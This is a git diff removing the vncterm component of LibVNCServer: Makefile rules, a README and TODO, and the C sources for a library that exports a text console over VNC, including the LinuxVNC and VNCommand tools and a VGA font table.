-am__installdirs = "$(DESTDIR)$(bindir)"
-am__EXEEXT_1 = vncommand$(EXEEXT)
-PROGRAMS = $(bin_PROGRAMS) $(noinst_PROGRAMS)
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-am_example_OBJECTS = example.$(OBJEXT) $(am__objects_1)
-example_OBJECTS = $(am_example_OBJECTS)
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-AM_V_lt = $(am__v_lt_$(V))
-am__v_lt_ = $(am__v_lt_$(AM_DEFAULT_VERBOSITY))
-am__v_lt_0 = --silent
-am__linuxvnc_SOURCES_DIST = LinuxVNC.c VNConsole.c
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-am_vncommand_OBJECTS = VNCommand.$(OBJEXT) $(am__objects_1)
-vncommand_OBJECTS = $(am_vncommand_OBJECTS)
-vncommand_LDADD = $(LDADD)
-vncommand_DEPENDENCIES = ../libvncserver/libvncserver.la
-DEFAULT_INCLUDES = -I. -I$(top_builddir)
-depcomp = $(SHELL) $(top_srcdir)/depcomp
-am__depfiles_maybe = depfiles
-am__mv = mv -f
-COMPILE = $(CC) $(DEFS) $(DEFAULT_INCLUDES) $(INCLUDES) $(AM_CPPFLAGS) \
- $(CPPFLAGS) $(AM_CFLAGS) $(CFLAGS)
-LTCOMPILE = $(LIBTOOL) $(AM_V_lt) --tag=CC $(AM_LIBTOOLFLAGS) \
- $(LIBTOOLFLAGS) --mode=compile $(CC) $(DEFS) \
- $(DEFAULT_INCLUDES) $(INCLUDES) $(AM_CPPFLAGS) $(CPPFLAGS) \
- $(AM_CFLAGS) $(CFLAGS)
-AM_V_CC = $(am__v_CC_$(V))
-am__v_CC_ = $(am__v_CC_$(AM_DEFAULT_VERBOSITY))
-am__v_CC_0 = @echo " CC " $@;
-AM_V_at = $(am__v_at_$(V))
-am__v_at_ = $(am__v_at_$(AM_DEFAULT_VERBOSITY))
-am__v_at_0 = @
-CCLD = $(CC)
-LINK = $(LIBTOOL) $(AM_V_lt) --tag=CC $(AM_LIBTOOLFLAGS) \
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- $(AM_LDFLAGS) $(LDFLAGS) -o $@
-AM_V_CCLD = $(am__v_CCLD_$(V))
-am__v_CCLD_ = $(am__v_CCLD_$(AM_DEFAULT_VERBOSITY))
-am__v_CCLD_0 = @echo " CCLD " $@;
-AM_V_GEN = $(am__v_GEN_$(V))
-am__v_GEN_ = $(am__v_GEN_$(AM_DEFAULT_VERBOSITY))
-am__v_GEN_0 = @echo " GEN " $@;
-SOURCES = $(example_SOURCES) $(linuxvnc_SOURCES) $(vncommand_SOURCES)
-DIST_SOURCES = $(example_SOURCES) $(am__linuxvnc_SOURCES_DIST) \
- $(vncommand_SOURCES)
-am__can_run_installinfo = \
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- n|no|NO) false;; \
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-HEADERS = $(noinst_HEADERS)
-ETAGS = etags
-CTAGS = ctags
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- clean-noinstPROGRAMS mostlyclean-am
-
-distclean: distclean-am
- -rm -rf ./$(DEPDIR)
- -rm -f Makefile
-distclean-am: clean-am distclean-compile distclean-generic \
- distclean-tags
-
-dvi: dvi-am
-
-dvi-am:
-
-html: html-am
-
-html-am:
-
-info: info-am
-
-info-am:
-
-install-data-am:
-
-install-dvi: install-dvi-am
-
-install-dvi-am:
-
-install-exec-am: install-binPROGRAMS
-
-install-html: install-html-am
-
-install-html-am:
-
-install-info: install-info-am
-
-install-info-am:
-
-install-man:
-
-install-pdf: install-pdf-am
-
-install-pdf-am:
-
-install-ps: install-ps-am
-
-install-ps-am:
-
-installcheck-am:
-
-maintainer-clean: maintainer-clean-am
- -rm -rf ./$(DEPDIR)
- -rm -f Makefile
-maintainer-clean-am: distclean-am maintainer-clean-generic
-
-mostlyclean: mostlyclean-am
-
-mostlyclean-am: mostlyclean-compile mostlyclean-generic \
- mostlyclean-libtool
-
-pdf: pdf-am
-
-pdf-am:
-
-ps: ps-am
-
-ps-am:
-
-uninstall-am: uninstall-binPROGRAMS
-
-.MAKE: install-am install-strip
-
-.PHONY: CTAGS GTAGS all all-am check check-am clean clean-binPROGRAMS \
- clean-generic clean-libtool clean-noinstPROGRAMS ctags \
- distclean distclean-compile distclean-generic \
- distclean-libtool distclean-tags distdir dvi dvi-am html \
- html-am info info-am install install-am install-binPROGRAMS \
- install-data install-data-am install-dvi install-dvi-am \
- install-exec install-exec-am install-html install-html-am \
- install-info install-info-am install-man install-pdf \
- install-pdf-am install-ps install-ps-am install-strip \
- installcheck installcheck-am installdirs maintainer-clean \
- maintainer-clean-generic mostlyclean mostlyclean-compile \
- mostlyclean-generic mostlyclean-libtool pdf pdf-am ps ps-am \
- tags uninstall uninstall-am uninstall-binPROGRAMS
-
-
-# Tell versions [3.59,3.63) of GNU make to not export all variables.
-# Otherwise a system limit (for SysV at least) may be exceeded.
-.NOEXPORT:
diff --git a/vncterm/README b/vncterm/README
deleted file mode 100644
index b01e88a..0000000
--- a/vncterm/README
+++ /dev/null
@@ -1,25 +0,0 @@
-
-In this stage (beta), there are two programs functional:
-
-LinuxVNC <tty number>
- monitor a virtual console (text mode) of Linux. You need
- root privileges, or at least be in the "tty" group, because
- it reads /dev/vcsN and writes /dev/ttyN.
- It follows the same idea as WinVNC, x11vnc or OSXvnc, i.e. it
- takes an existing desktop and exports it via RFB (VNC), just that
- LinuxVNC exports text.
-
-VNCommand <command> <args>
- executes <command> redirecting stdin from a vncviewer and stdout &
- stderr to the vnc clients. This might be renamed to vncTerm if
- there are some term capabilities added (up to now, bash doesn't look
- nice). Colours and other ANSI sequences need to be added.
-
-My original plan was to create a program named vncTerm. It was meant to
-overcome incompatibilities between different TERMs, but I found "screen" to
-be just such a program. Maybe once some time in the future I'll make a
-patch for screen to use VNConsole to export it's contents via RFB...
-
-These two programs are a simple application of LibVNCServer with a small
-console layer in between (VNConsole). You can use them under the terms
-(not vncTerms ;-) of the GPL. They where written by Johannes E. Schindelin.
diff --git a/vncterm/TODO b/vncterm/TODO
deleted file mode 100644
index 5c6f189..0000000
--- a/vncterm/TODO
+++ /dev/null
@@ -1,21 +0,0 @@
-VNConsole:
-LinuxVNC:
-VNCommand:
- make Control or Alt sequences work.
- Find out how to satisfy isatty(). => /dev/ptyN
- Fix check if child is alive.
- Add command line option for real interactive mode.
-
-done:
-
-.treat colours correctly (use /dev/vcsaN's attributes).
-.introduce per cell colours (for attributes)
-.fix cursor fuckup when selecting.
-.default to paste for right mouse button.
-.have an idea how to insert keys
-.convert VNCommand to an interactive shell (vncTerm)
-.bidirectional pipes (spawn a shell ...)
-.mark with mouse (copy text)
-.when scrolling, cursor must be hidden!
-
- modifiedRegion which are copied with CopyRect have to be modified also.
diff --git a/vncterm/VNCommand.c b/vncterm/VNCommand.c
deleted file mode 100644
index ecf2543..0000000
--- a/vncterm/VNCommand.c
+++ /dev/null
@@ -1,127 +0,0 @@
-#ifdef __STRICT_ANSI__
-#define _BSD_SOURCE
-#define _POSIX_SOURCE
-#endif
-#include "VNConsole.h"
-#include "vga.h"
-#ifdef LIBVNCSERVER_HAVE_FCNTL_H
-#include <fcntl.h>
-#endif
-#ifdef LIBVNCSERVER_HAVE_SYS_TIME_H
-#include <sys/time.h>
-#endif
-#ifdef LIBVNCSERVER_HAVE_UNISTD_H
-#include <unistd.h>
-#endif
-#ifdef LIBVNCSERVER_HAVE_SYS_WAIT_H
-#include <sys/wait.h>
-#endif
-#include <errno.h>
-
-
-int main(int argc, char **argv)
-{
- rfbBool interactive=FALSE,sendOnlyWholeLines=TRUE;
- int serverArgc,programArg0;
- for(serverArgc=1;serverArgc<argc
- && argv[serverArgc][0]=='-' && argv[serverArgc][1]!='-';serverArgc++)
- if(!strcmp(argv[serverArgc],"-interactive")) {
- interactive=TRUE;
- sendOnlyWholeLines=FALSE;
-
- rfbPurgeArguments(&argc,&serverArgc,1,argv);
- }
- programArg0=serverArgc;
- if(programArg0<argc && argv[programArg0][0]=='-' && argv[programArg0][1]=='-')
- programArg0++;
- argv[argc]=0;
-
- if(programArg0<argc) {
- int in[2],out[2],err[2],pid;
- if(pipe(in)<0 || pipe(out)<0 || pipe(err)<0) {
- rfbErr("Couldn't make pipes!");
- return(1);
- }
-
- pid=fork();
- if(!pid) {
- dup2(in[0],0);
- dup2(out[1],1);
- dup2(err[1],2);
- /*setbuf(stdin,NULL);*/
- execvp(argv[programArg0],argv+programArg0);
- }
-
- {
- char buffer[1024];
- fd_set fs,fs1/*,ifs,ifs1*/;
- struct timeval tv,tv1;
- int i,c=1,num_fds,max_fd=out[0],status;
- FILE *input_pipe;
- vncConsolePtr console=vcGetConsole(&serverArgc,argv,80,25,&vgaFont,FALSE);
- if(interactive)
- console->doEcho = FALSE;
-
- if(max_fd<err[0])
- max_fd=err[0];
- FD_ZERO(&fs);
- FD_SET(out[0],&fs);
- FD_SET(err[0],&fs);
- /*FD_SET(0,&fs);*/
- tv.tv_sec=0; tv.tv_usec=5000;
-
- input_pipe=fdopen(in[1],"w");
- setbuf(input_pipe,NULL);
- while(c || waitpid(pid,&status,WNOHANG)==0) {
- /* event loop */
- vcProcessEvents(console);
-
- /* get input */
- if(console->inputCount) {
- if(sendOnlyWholeLines) {
- for(i=0;i<console->inputCount;i++)
- if(console->inputBuffer[i]=='\n') {
- i++;
- fwrite(console->inputBuffer,i,1,input_pipe);
- fflush(input_pipe);
- /* fwrite(console->inputBuffer,i,1,stderr); */
- if(console->inputCount>i)
- memmove(console->inputBuffer,console->inputBuffer+i,console->inputCount-i);
- console->inputCount-=i;
- i=0;
- }
- } else {
- fwrite(console->inputBuffer,console->inputCount,1,input_pipe);
- fflush(input_pipe);
- /* fwrite(console->inputBuffer,console->inputCount,1,stderr); */
- console->inputCount=0;
- }
- }
- /* process output */
- fs1=fs; tv1=tv;
- num_fds=select(max_fd+1,&fs1,NULL,NULL,&tv1);
- if(num_fds>0) {
- /*
- if(FD_ISSET(0,&fs1)) {
- ch=getchar();
- fputc(ch,f);
- }
- */
- if(FD_ISSET(out[0],&fs1)) {
- c=read(out[0],buffer,1024);
- for(i=0;i<c;i++)
- vcPutChar(console,buffer[i]);
- }
- if(FD_ISSET(err[0],&fs1)) {
- c=read(err[0],buffer,1024);
- for(i=0;i<c;i++)
- vcPutChar(console,buffer[i]);
- }
- } else
- c=0;
- }
- }
- }
- rfbLog("exit\n");
- return(0);
-}
diff --git a/vncterm/VNConsole.c b/vncterm/VNConsole.c
deleted file mode 100644
index e87df54..0000000
--- a/vncterm/VNConsole.c
+++ /dev/null
@@ -1,497 +0,0 @@
-#include <stdarg.h>
-#include <rfb/keysym.h>
-#include "VNConsole.h"
-
-#define DEBUG(x)
-
-unsigned char colourMap16[16*3]={
- /* 0 black #000000 */ 0x00,0x00,0x00,
- /* 1 maroon #800000 */ 0x80,0x00,0x00,
- /* 2 green #008000 */ 0x00,0x80,0x00,
- /* 3 khaki #808000 */ 0x80,0x80,0x00,
- /* 4 navy #000080 */ 0x00,0x00,0x80,
- /* 5 purple #800080 */ 0x80,0x00,0x80,
- /* 6 aqua-green #008080 */ 0x00,0x80,0x80,
- /* 7 light grey #c0c0c0 */ 0xc0,0xc0,0xc0,
- /* 8 dark grey #808080 */ 0x80,0x80,0x80,
- /* 9 red #ff0000 */ 0xff,0x00,0x00,
- /* a light green #00ff00 */ 0x00,0xff,0x00,
- /* b yellow #ffff00 */ 0xff,0xff,0x00,
- /* c blue #0000ff */ 0x00,0x00,0xff,
- /* d pink #ff00ff */ 0xff,0x00,0xff,
- /* e light blue #00ffff */ 0x00,0xff,0xff,
- /* f white #ffffff */ 0xff,0xff,0xff
-};
-
-void MakeColourMap16(vncConsolePtr c)
-{
- rfbColourMap* colourMap=&(c->screen->colourMap);
- if(colourMap->count)
- free(colourMap->data.bytes);
- colourMap->data.bytes=malloc(16*3);
- memcpy(colourMap->data.bytes,colourMap16,16*3);
- colourMap->count=16;
- colourMap->is16=FALSE;
- c->screen->serverFormat.trueColour=FALSE;
-}
-
-void vcDrawOrHideCursor(vncConsolePtr c)
-{
- int i,j,w=c->screen->paddedWidthInBytes;
- char *b=c->screen->frameBuffer+c->y*c->cHeight*w+c->x*c->cWidth;
- for(j=c->cy1;j<c->cy2;j++)
- for(i=c->cx1;i<c->cx2;i++)
- b[j*w+i]^=0x0f;
- rfbMarkRectAsModified(c->screen,
- c->x*c->cWidth+c->cx1,c->y*c->cHeight+c->cy1,
- c->x*c->cWidth+c->cx2,c->y*c->cHeight+c->cy2);
- c->cursorIsDrawn=c->cursorIsDrawn?FALSE:TRUE;
-}
-
-void vcDrawCursor(vncConsolePtr c)
-{
- if(c->cursorActive && c->y<c->height && c->x<c->width) {
- /* rfbLog("DrawCursor: %d,%d\n",c->x,c->y); */
- vcDrawOrHideCursor(c);
- }
-}
-
-void vcHideCursor(vncConsolePtr c)
-{
- if(c->currentlyMarking)
- vcUnmark(c);
- vcDrawOrHideCursor(c);
-}
-
-void vcMakeSureCursorIsDrawn(rfbClientPtr cl)
-{
- vncConsolePtr c=(vncConsolePtr)cl->screen->screenData;
- if(!c->dontDrawCursor)
- vcDrawCursor(c);
-}
-
-vncConsolePtr vcGetConsole(int *argc,char **argv,
- int width,int height,rfbFontDataPtr font
-#ifdef USE_ATTRIBUTE_BUFFER
- ,rfbBool withAttributes
-#endif
- )
-{
- vncConsolePtr c=(vncConsolePtr)malloc(sizeof(vncConsole));
-
- c->font=font;
- c->width=width;
- c->height=height;
- c->screenBuffer=(char*)malloc(width*height);
- memset(c->screenBuffer,' ',width*height);
-#ifdef USE_ATTRIBUTE_BUFFER
- if(withAttributes) {
- c->attributeBuffer=(char*)malloc(width*height);
- memset(c->attributeBuffer,0x07,width*height);
- } else
- c->attributeBuffer=NULL;
-#endif
- c->x=0;
- c->y=0;
- c->wrapBottomToTop=FALSE;
- c->cursorActive=TRUE;
- c->cursorIsDrawn=FALSE;
- c->dontDrawCursor=FALSE;
- c->inputBuffer=(char*)malloc(1024);
- c->inputSize=1024;
- c->inputCount=0;
- c->selection=0;
- c->selectTimeOut=40000; /* 40 ms */
- c->doEcho=TRUE;
-
- c->wasRightButtonDown=FALSE;
- c->currentlyMarking=FALSE;
-
- rfbWholeFontBBox(font,&c->xhot,&c->cHeight,&c->cWidth,&c->yhot);
- c->cWidth-=c->xhot;
- c->cHeight=-c->cHeight-c->yhot;
-
- /* text cursor */
- c->cx1=c->cWidth/8;
- c->cx2=c->cWidth*7/8;
- c->cy2=c->cHeight-1-c->yhot+c->cHeight/16;
- if(c->cy2>=c->cHeight)
- c->cy2=c->cHeight-1;
- c->cy1=c->cy2-c->cHeight/8;
- if(c->cy1<0)
- c->cy2=0;
-
- if(!(c->screen = rfbGetScreen(argc,argv,c->cWidth*c->width,c->cHeight*c->height,8,1,1)))
- return NULL;
- c->screen->screenData=(void*)c;
- c->screen->displayHook=vcMakeSureCursorIsDrawn;
- c->screen->frameBuffer=
- (char*)malloc(c->screen->width*c->screen->height);
- memset(c->screen->frameBuffer,c->backColour,
- c->screen->width*c->screen->height);
- c->screen->kbdAddEvent=vcKbdAddEventProc;
- c->screen->ptrAddEvent=vcPtrAddEventProc;
- c->screen->setXCutText=vcSetXCutTextProc;
-
- MakeColourMap16(c);
- c->foreColour=0x7;
- c->backColour=0;
-
- rfbInitServer(c->screen);
-
- return(c);
-}
-
-#include <rfb/rfbregion.h>
-
-/* before using this function, hide the cursor */
-void vcScroll(vncConsolePtr c,int lineCount)
-{
- int y1,y2;
- rfbScreenInfoPtr s=c->screen;
-
- if(lineCount==0)
- return;
-
- /* rfbLog("begin scroll\n"); */
- vcHideCursor(c);
- c->dontDrawCursor=TRUE;
-
- if(lineCount>=c->height || lineCount<=-c->height) {
- y1=0; y2=s->height;
- } else if(lineCount>0) {
- y1=s->height-lineCount*c->cHeight; y2=s->height;
- rfbDoCopyRect(s,0,0,s->width,y1,0,-lineCount*c->cHeight);
- memmove(c->screenBuffer,
- c->screenBuffer+(c->height-lineCount)*c->width,
- (c->height-lineCount)*c->width);
-#ifdef USE_ATTRIBUTE_BUFFER
- if(c->attributeBuffer)
- memmove(c->attributeBuffer,
- c->attributeBuffer+(c->height-lineCount)*c->width,
- (c->height-lineCount)*c->width);
-#endif
- } else {
- y1=0; y2=-lineCount*c->cHeight;
- rfbDoCopyRect(s,0,y2,s->width,s->height,0,-lineCount*c->cHeight);
- memmove(c->screenBuffer-lineCount*c->width,
- c->screenBuffer,
- (c->height+lineCount)*c->width);
-#ifdef USE_ATTRIBUTE_BUFFER
- if(c->attributeBuffer)
- memmove(c->attributeBuffer-lineCount*c->width,
- c->attributeBuffer,
- (c->height+lineCount)*c->width);
-#endif
- }
-
- c->dontDrawCursor=FALSE;
- memset(s->frameBuffer+y1*s->width,c->backColour,(y2-y1)*s->width);
- rfbMarkRectAsModified(s,0,y1-c->cHeight,s->width,y2);
- memset(c->screenBuffer+y1/c->cHeight*c->width,' ',
- (y2-y1)/c->cHeight*c->width);
-#ifdef USE_ATTRIBUTE_BUFFER
- if(c->attributeBuffer)
- memset(c->attributeBuffer+y1/c->cHeight*c->width,0x07,
- (y2-y1)/c->cHeight*c->width);
-#endif
- /* rfbLog("end scroll\n"); */
-}
-
-void vcCheckCoordinates(vncConsolePtr c)
-{
- if(c->x>=c->width) {
- c->x=0;
- c->y++;
- }
- if(c->y>=c->height) {
- if(c->wrapBottomToTop)
- c->y=0;
- else {
- vcScroll(c,c->y+1-c->height);
- c->y=c->height-1;
- }
- }
-}
-
-void vcPutChar(vncConsolePtr c,unsigned char ch)
-{
-#ifdef USE_ATTRIBUTE_BUFFER
- if(c->attributeBuffer) {
- unsigned char colour=c->attributeBuffer[c->x+c->y*c->width];
- vcPutCharColour(c,ch,colour&0x7,colour>>4);
- } else
-#endif
- vcPutCharColour(c,ch,c->foreColour,c->backColour);
-}
-
-void vcPutCharColour(vncConsolePtr c,unsigned char ch,unsigned char foreColour,unsigned char backColour)
-{
- rfbScreenInfoPtr s=c->screen;
- int j,x,y;
-
- vcHideCursor(c);
- if(ch<' ') {
- switch(ch) {
- case 7:
- case 13:
- break;
- case 8: /* BackSpace */
- if(c->x>0) {
- c->x--;
- vcPutChar(c,' ');
- c->x--;
- }
- break;
- case 10: /* return */
- c->x=0;
- c->y++;
- vcCheckCoordinates(c);
- break;
- case 9: /* tabulator */
- do {
- vcPutChar(c,' ');
- } while(c->x%8);
- break;
- default:
- rfbLog("putchar of unknown character: %c(%d).\n",ch,ch);
- vcPutChar(c,' ');
- }
- } else {
-#ifdef USE_ATTRIBUTE_BUFFER
- if(c->attributeBuffer)
- c->attributeBuffer[c->x+c->y*c->width]=foreColour|(backColour<<4);
-#endif
- x=c->x*c->cWidth;
- y=c->y*c->cHeight;
- for(j=y+c->cHeight-1;j>=y;j--)
- memset(s->frameBuffer+j*s->width+x,backColour,c->cWidth);
- rfbDrawChar(s,c->font,
- x-c->xhot+(c->cWidth-rfbWidthOfChar(c->font,ch))/2,
- y+c->cHeight-c->yhot-1,
- ch,foreColour);
- c->screenBuffer[c->y*c->width+c->x]=ch;
- c->x++;
- rfbMarkRectAsModified(s,x,y-c->cHeight+1,x+c->cWidth,y+c->cHeight+1);
- vcCheckCoordinates(c);
- }
-}
-
-void vcPrint(vncConsolePtr c,unsigned char* str)
-{
- while(*str) {
- vcPutChar(c,*str);
- str++;
- }
-}
-
-void vcPrintColour(vncConsolePtr c,unsigned char* str,unsigned char foreColour,unsigned char backColour)
-{
- while(*str) {
- vcPutCharColour(c,*str,foreColour,backColour);
- str++;
- }
-}
-
-void vcPrintF(vncConsolePtr c,char* format,...)
-{
- va_list args;
- char buf[4096];
- va_start(args, format);
- vsprintf(buf, format, args);
- vcPrint(c,(unsigned char*)buf);
- va_end(args);
-}
-
-void vcPrintFColour(vncConsolePtr c,unsigned char foreColour,unsigned char backColour,char* format,...)
-{
- va_list args;
- char buf[4096];
- va_start(args, format);
- vsprintf(buf, format, args);
- vcPrintColour(c,(unsigned char*)buf,foreColour,backColour);
- va_end(args);
-}
-
-char vcGetCh(vncConsolePtr c)
-{
- if(c->inputCount>0) {
- char ch;
- ch=c->inputBuffer[0];
- c->inputCount--;
- if(c->inputCount>0)
- memmove(c->inputBuffer,c->inputBuffer+1,c->inputCount);
- return(ch);
- } else
- return(0);
-}
-
-char vcGetChar(vncConsolePtr c)
-{
- while(rfbIsActive(c->screen) && c->inputCount==0)
- vcProcessEvents(c);
- return(vcGetCh(c));
-}
-
-char *vcGetString(vncConsolePtr c,char *buffer,int bufferSize)
-{
- char *bufferBackup=c->inputBuffer;
- int i,count=bufferSize-1;
-
- if(count>c->inputCount)
- count=c->inputCount;
- for(i=1;i<count && bufferBackup[i-1]!='\n';i++);
- if(i<count || i==bufferSize-1) {
- memcpy(buffer,bufferBackup,i);
- buffer[i+1]=0;
- c->inputCount-=i;
- memmove(bufferBackup,bufferBackup+i+2,c->inputCount);
- return(buffer);
- }
- memcpy(buffer,bufferBackup,c->inputCount);
- count=c->inputSize;
- c->inputSize=bufferSize;
- c->inputBuffer=buffer;
- while(rfbIsActive(c->screen)
- && c->inputCount<bufferSize-1 && buffer[c->inputCount-1]!='\n')
- vcProcessEvents(c);
- buffer[c->inputCount]=0;
- c->inputBuffer=bufferBackup;
- c->inputSize=count;
- c->inputCount=0;
- return(buffer);
-}
-
-void vcKbdAddEventProc(rfbBool down,rfbKeySym keySym,rfbClientPtr cl)
-{
- vncConsolePtr c=(vncConsolePtr)cl->screen->screenData;
- if(down) {
- if(c->inputCount<c->inputSize) {
- if(keySym<0 || keySym>0xff) {
- if(keySym==XK_Return) keySym='\n';
- else if(keySym==XK_BackSpace) keySym=8;
- else if(keySym==XK_Tab) keySym=9;
- else keySym=0;
- }
- if(keySym>0) {
- if(keySym==8) {
- if(c->inputCount>0)
- c->inputCount--;
- } else
- c->inputBuffer[c->inputCount++]=(char)keySym;
- if(c->doEcho)
- vcPutChar(c,(unsigned char)keySym);
- }
- }
- }
-}
-
-void vcPtrAddEventProc(int buttonMask,int x,int y,rfbClientPtr cl)
-{
- vncConsolePtr c=(vncConsolePtr)cl->screen->screenData;
-
- if(c->wasRightButtonDown) {
- if((buttonMask&4)==0) {
- if(c->selection) {
- char* s;
- for(s=c->selection;*s;s++) {
- c->screen->kbdAddEvent(1,*s,cl);
- c->screen->kbdAddEvent(0,*s,cl);
- }
- }
- c->wasRightButtonDown=0;
- }
- } else if(buttonMask&4)
- c->wasRightButtonDown=1;
-
- if(buttonMask&1) {
- int cx=x/c->cWidth,cy=y/c->cHeight,pos;
- if(cx<0) cx=0; else if(cx>=c->width) cx=c->width-1;
- if(cy<0) cy=0; else if(cy>=c->height) cy=c->height-1;
- pos=cy*c->width+cx;
-
- /* mark */
- if(!c->currentlyMarking) {
- c->currentlyMarking=TRUE;
- c->markStart=pos;
- c->markEnd=pos;
- vcToggleMarkCell(c,pos);
- } else {
- DEBUG(rfbLog("markStart: %d, markEnd: %d, pos: %d\n",
- c->markStart,c->markEnd,pos));
- if(c->markEnd!=pos) {
- if(c->markEnd<pos) {
- cx=c->markEnd; cy=pos;
- } else {
- cx=pos; cy=c->markEnd;
- }
- if(cx<c->markStart) {
- if(cy<c->markStart)
- cy--;
- } else
- cx++;
- while(cx<=cy) {
- vcToggleMarkCell(c,cx);
- cx++;
- }
- c->markEnd=pos;
- }
- }
- } else if(c->currentlyMarking) {
- int i,j;
- if(c->markStart<c->markEnd) {
- i=c->markStart; j=c->markEnd+1;
- } else {
- i=c->markEnd; j=c->markStart;
- }
- if(c->selection) free(c->selection);
- c->selection=(char*)malloc(j-i+1);
- memcpy(c->selection,c->screenBuffer+i,j-i);
- c->selection[j-i]=0;
- vcUnmark(c);
- rfbGotXCutText(c->screen,c->selection,j-i);
- }
- rfbDefaultPtrAddEvent(buttonMask,x,y,cl);
-}
-
-void vcSetXCutTextProc(char* str,int len, struct _rfbClientRec* cl)
-{
- vncConsolePtr c=(vncConsolePtr)cl->screen->screenData;
-
- if(c->selection) free(c->selection);
- c->selection=(char*)malloc(len+1);
- memcpy(c->selection,str,len);
- c->selection[len]=0;
-}
-
-void vcToggleMarkCell(vncConsolePtr c,int pos)
-{
- int x=(pos%c->width)*c->cWidth,
- y=(pos/c->width)*c->cHeight;
- int i,j;
- rfbScreenInfoPtr s=c->screen;
- char *b=s->frameBuffer+y*s->width+x;
- for(j=0;j<c->cHeight;j++)
- for(i=0;i<c->cWidth;i++)
- b[j*s->width+i]^=0x0f;
- rfbMarkRectAsModified(c->screen,x,y,x+c->cWidth,y+c->cHeight);
-}
-
-void vcUnmark(vncConsolePtr c)
-{
- int i,j;
- c->currentlyMarking=FALSE;
- if(c->markStart<c->markEnd) {
- i=c->markStart; j=c->markEnd+1;
- } else {
- i=c->markEnd; j=c->markStart;
- }
- for(;i<j;i++)
- vcToggleMarkCell(c,i);
-}
-
-void vcProcessEvents(vncConsolePtr c)
-{
- rfbProcessEvents(c->screen,c->selectTimeOut);
-}
-
diff --git a/vncterm/VNConsole.h b/vncterm/VNConsole.h
deleted file mode 100644
index ae6822d..0000000
--- a/vncterm/VNConsole.h
+++ /dev/null
@@ -1,95 +0,0 @@
-#include <rfb/rfb.h>
-
-/* this is now the default */
-#define USE_ATTRIBUTE_BUFFER
-
-typedef struct vncConsole {
- /* width and height in cells (=characters) */
- int width, height;
-
- /* current position */
- int x,y;
-
- /* characters */
- char *screenBuffer;
-
-#ifdef USE_ATTRIBUTE_BUFFER
- /* attributes: colours. If NULL, default to gray on black, else
- for each cell an unsigned char holds foreColour|(backColour<<4) */
- char *attributeBuffer;
-#endif
-
- /* if this is set, the screen doesn't scroll. */
- rfbBool wrapBottomToTop;
-
- /* height and width of one character */
- int cWidth, cHeight;
- /* offset of characters */
- int xhot,yhot;
-
- /* colour */
- unsigned char foreColour,backColour;
- int8_t cx1,cy1,cx2,cy2;
-
- /* input buffer */
- char *inputBuffer;
- int inputCount;
- int inputSize;
- long selectTimeOut;
- rfbBool doEcho; /* if reading input, do output directly? */
-
- /* selection */
- char *selection;
-
- /* mouse */
- rfbBool wasRightButtonDown;
- rfbBool currentlyMarking;
- int markStart,markEnd;
-
- /* should text cursor be drawn? (an underscore at current position) */
- rfbBool cursorActive;
- rfbBool cursorIsDrawn;
- rfbBool dontDrawCursor; /* for example, while scrolling */
-
- rfbFontDataPtr font;
- rfbScreenInfoPtr screen;
-} vncConsole, *vncConsolePtr;
-
-#ifdef USE_ATTRIBUTE_BUFFER
-vncConsolePtr vcGetConsole(int *argc,char **argv,
- int width,int height,rfbFontDataPtr font,
- rfbBool withAttributes);
-#else
-vncConsolePtr vcGetConsole(int argc,char **argv,
- int width,int height,rfbFontDataPtr font);
-#endif
-void vcDrawCursor(vncConsolePtr c);
-void vcHideCursor(vncConsolePtr c);
-void vcCheckCoordinates(vncConsolePtr c);
-
-void vcPutChar(vncConsolePtr c,unsigned char ch);
-void vcPrint(vncConsolePtr c,unsigned char* str);
-void vcPrintF(vncConsolePtr c,char* format,...);
-
-void vcPutCharColour(vncConsolePtr c,unsigned char ch,
- unsigned char foreColour,unsigned char backColour);
-void vcPrintColour(vncConsolePtr c,unsigned char* str,
- unsigned char foreColour,unsigned char backColour);
-void vcPrintFColour(vncConsolePtr c,unsigned char foreColour,
- unsigned char backColour,char* format,...);
-
-char vcGetCh(vncConsolePtr c);
-char vcGetChar(vncConsolePtr c); /* blocking */
-char *vcGetString(vncConsolePtr c,char *buffer,int maxLen);
-
-void vcKbdAddEventProc(rfbBool down,rfbKeySym keySym,rfbClientPtr cl);
-void vcPtrAddEventProc(int buttonMask,int x,int y,rfbClientPtr cl);
-void vcSetXCutTextProc(char* str,int len, struct _rfbClientRec* cl);
-
-void vcToggleMarkCell(vncConsolePtr c,int pos);
-void vcUnmark(vncConsolePtr c);
-
-void vcProcessEvents(vncConsolePtr c);
-
-/* before using this function, hide the cursor */
-void vcScroll(vncConsolePtr c,int lineCount);
diff --git a/vncterm/example.c b/vncterm/example.c
deleted file mode 100644
index 54de666..0000000
--- a/vncterm/example.c
+++ /dev/null
@@ -1,31 +0,0 @@
-#include "VNConsole.h"
-#include "vga.h"
-
-int main(int argc,char **argv)
-{
- vncConsolePtr c=vcGetConsole(&argc,argv,80,25,&vgaFont,FALSE);
- char buffer[1024];
- int i,j,l;
- for(j=32;j<256;j+=16) {
- vcPrintF(c,"%02x: ",j);
- for(i=j;i<j+16;i++)
- vcPutChar(c,i);
- vcPutChar(c,'\n');
- }
- i=0;
- while(1) {
- vcPrintF(c,"%d :> ",i);
- vcGetString(c,buffer,1024);
- l=strlen(buffer)-1;
- while(l>=0 && buffer[l]=='\n')
- buffer[l]=0;
- if(!strcmp(buffer,"quit"))
- return(0);
- if(!strcmp(buffer,"s"))
- vcScroll(c,2);
- if(!strcmp(buffer,"S"))
- vcScroll(c,-2);
- i++;
- }
- return(0);
-}
diff --git a/vncterm/vga.h b/vncterm/vga.h
deleted file mode 100644
index 21e03eb..0000000
--- a/vncterm/vga.h
+++ /dev/null
@@ -1,261 +0,0 @@
-unsigned char vgaFontData[2399]={
-0x7c,0xc6,0xc6,0xde,0xde,0xde,0xdc,0xc0,0x7c, /* 0 */
-0x7e,0x81,0xa5,0x81,0x81,0xa5,0x99,0x81,0x81,0x7e, /* 1 */
-0x7e,0xff,0xdb,0xff,0xff,0xdb,0xe7,0xff,0xff,0x7e, /* 2 */
-0x6c,0xfe,0xfe,0xfe,0xfe,0x7c,0x38,0x10, /* 3 */
-0x10,0x38,0x7c,0xfe,0x7c,0x38,0x10, /* 4 */
-0x18,0x3c,0x3c,0xe7,0xe7,0xe7,0x18,0x18,0x3c, /* 5 */
-0x18,0x3c,0x7e,0xff,0xff,0x7e,0x18,0x18,0x3c, /* 6 */
-0x60,0xf0,0xf0,0x60, /* 7 */
-0xff,0xff,0xff,0xff,0xff,0xff,0xe7,0xc3,0xc3,0xe7,0xff,0xff,0xff,0xff,0xff,0xff, /* 8 */
-0x78,0xcc,0x84,0x84,0xcc,0x78, /* 9 */
